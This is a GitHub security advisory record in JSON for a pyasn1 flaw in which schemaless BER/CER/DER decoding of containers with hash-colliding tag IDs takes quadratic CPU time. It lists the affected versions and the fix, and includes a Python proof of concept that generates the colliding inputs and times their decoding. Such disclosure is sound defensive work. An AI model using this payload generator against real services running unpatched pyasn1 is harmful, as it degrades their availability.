{"id":"GHSA-fm9c-5rcf-2q5p","summary":"pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding","details":"### Summary\n\nWhen an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.\n\n### Details\n\nConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order.  On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.\n\n### Proof of concept\n\nRun this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:\n\n```python\nimport sys\nimport time\n\nfrom pyasn1.codec.ber import decoder\nfrom pyasn1.type import univ\n\n\ndef enc_tag(tag_id):\n    groups = [tag_id & 0x7f]\n    tag_id \u003e\u003e= 7\n    while tag_id:\n        groups.append((tag_id & 0x7f) | 0x80)\n        tag_id \u003e\u003e= 7\n    return b'\\xbf' + bytes(reversed(groups))\n\n\ndef payload(tag_ids):\n    body = b''.join(enc_tag(tag_id) + b'\\x03\\x04\\x01A'\n                    for tag_id in tag_ids)\n    length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')\n    return b'\\x30' + bytes([0x80 | len(length)]) + length + body\n\n\nfor count in (3200, 6400):\n    cases = (\n        (\"collision\", [32 + i * sys.hash_info.modulus\n                       for i in range(count)]),\n        (\"control\", [(1 \u003c\u003c 70) + i for i in range(count)]),\n    )\n    for name, tag_ids in cases:\n        wire = payload(tag_ids)\n        start = time.process_time()\n        value, remainder = decoder.decode(wire)\n        cpu_seconds = time.process_time() - start\n\n        assert type(value) is univ.Sequence\n        assert len(value) == count and remainder == b''\n        for position, tag_id in enumerate(tag_ids):\n            component = value.getComponentByPosition(position)\n            assert component.asOctets() == b'A'\n            assert component.tagSet[-1].tagId == tag_id\n\n        print(count, name, len(wire), round(cpu_seconds, 3))\n```\n\n### Impact\n\nApplications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.","aliases":["CVE-2026-119194"],"modified":"2026-10-30T23:15:06.423863231Z","published":"2026-10-30T23:03:37Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-10-30T23:03:37Z","nvd_published_at":"2026-10-29T20:17:30Z","cwe_ids":["CWE-407"]},"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-119194"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/pull/132"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"}],"affected":[{"package":{"name":"pyasn1","ecosystem":"PyPI","purl":"pkg:pypi/pyasn1"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.3.3"},{"fixed":"0.6.5"}]}],"versions":["0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.4.8","0.5.0","0.5.1","0.6.0","0.6.1","0.6.2","0.6.3","0.6.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-fm9c-5rcf-2q5p/GHSA-fm9c-5rcf-2q5p.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}